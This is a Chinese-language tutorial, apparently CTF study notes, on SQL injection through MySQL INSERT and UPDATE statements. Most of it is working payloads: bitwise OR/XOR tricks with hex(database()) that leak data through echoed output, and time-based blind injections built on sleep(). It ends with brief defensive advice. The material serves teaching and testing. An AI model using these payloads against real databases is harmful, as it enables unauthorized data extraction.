Insert和Update型SQL注入的实践之旅
字数 731 2025-08-29 08:32:25
Insert和Update型SQL注入技术详解
一、有回显注入技术
1. 整型注入点利用
按位或运算(|)利用
- 当拼接值为0时,可使用按位或运算显示查询数据
insert into ctf values (0 | (select hex(database())),'0','test','0');
- 查询结果会显示十六进制值,需使用
unhex()函数转换
select unhex(74657374); -- 输出'test'
按位异或运算(^)利用
- 当拼接值非0时(如100),可使用按位异或运算
insert into ctf values (100 ^ (select hex(database())),'0','test','0');
- 需要再次异或才能恢复原始数据
select unhex(100^74657338); -- 输出'test'
2. 字符型注入点利用
按位或运算(|)利用
insert into ctf values (100 ,'0'| (select hex(database())) ,'test','0');
按位异或运算(^)利用
insert into ctf values (100 ,'100' ^ (select hex(database())) ,'test','0');
3. 注意事项
- 当查询结果大于MySQL bigint最大值(9223372036854775807)时,需使用
substr等函数分段获取 - 其他可逆运算符:
+,-,*,/也可用于数据回显 - 逻辑运算符(
or,||,xor,&&,and)不能用于数据回显注入
二、时间盲注技术
1. 整型注入点利用
逻辑运算符使用
and/&&:前面int值不能为0or/||:前面int值不能为1xor:对前面int值无要求(推荐使用)
insert into ctf values (0 && sleep(2),'test','test','0'); -- 不延时
insert into ctf values (1 && sleep(2),'test','test','0'); -- 延时2秒
insert into ctf values (0 || sleep(2),'test','test','0'); -- 延时2秒
insert into ctf values (1 || sleep(2),'test','test','0'); -- 不延时
insert into ctf values (0 xor sleep(2),'test','test','0'); -- 延时2秒
insert into ctf values (1 xor sleep(2),'test','test','0'); -- 延时2秒
四则运算使用
insert into ctf values (0+sleep(2),'test','test','0'); -- 延时
insert into ctf values (0-sleep(2),'test','test','0'); -- 延时
insert into ctf values (0*sleep(2),'test','test','0'); -- 延时
insert into ctf values (0/sleep(2),'test','test','0'); -- 延时
位运算使用
insert into ctf values (0&sleep(2),'test','test','0'); -- 延时
insert into ctf values (0|sleep(2),'test','test','0'); -- 延时
2. 字符型注入点利用
- 可用运算符:
or,||,xor,|,&,+,-,*,/ - 字符型在逻辑运算时会被当做0,不能使用
&&和and
insert into ctf values (0,'test' || sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'or sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'xor sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'| sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'& sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'+ sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'- sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'* sleep(2),'test','0'); -- 延时
insert into ctf values (0,'test'/ sleep(2),'test','0'); -- 延时
三、技术总结
-
有回显注入:
- 优先使用按位运算(
|,^) - 大数值需分段获取
- 注意数据类型(整型/字符型)选择合适的运算符
- 优先使用按位运算(
-
时间盲注:
- 整型点:推荐使用
xor或四则运算 - 字符型点:避免使用
&&和and - 所有运算符都能触发延时,但需注意前置条件
- 整型点:推荐使用
-
防御建议:
- 使用参数化查询
- 对用户输入进行严格过滤
- 避免直接拼接SQL语句
- 设置数据库用户最小权限